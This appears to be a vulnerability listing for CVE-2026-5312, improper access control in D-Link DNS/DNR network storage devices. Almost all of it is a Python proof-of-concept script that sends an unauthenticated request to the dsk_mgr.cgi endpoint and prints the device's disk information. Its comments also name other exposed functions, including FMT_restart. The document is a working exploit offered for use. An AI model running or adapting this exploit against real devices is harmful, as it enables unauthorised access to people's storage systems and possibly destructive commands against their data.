CVE-2026-5312 多款D-Link设备访问控制不当漏洞

#!/usr/bin/env python3 import requests # PoC for CVE-2026-5312 # Target: D-Link DNS/DNR Series # Description: Unauthenticated access to dsk_mgr.cgi functions target_ip = "192.168.1.1" # Replace with target IP base_url = f"http://{target_ip}/cgi-bin/dsk_mgr.cgi" # Vulnerable functions mentioned: FMT_restart, Status_HDInfo, SMART_List params = { "cmd": "Status_HDInfo" } try: print(f"[*] Sending request to {base_url}...") response = requests.get(base_url, params=params, timeout=10) if response.status_code == 200: print("[+] Request successful. Response received:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")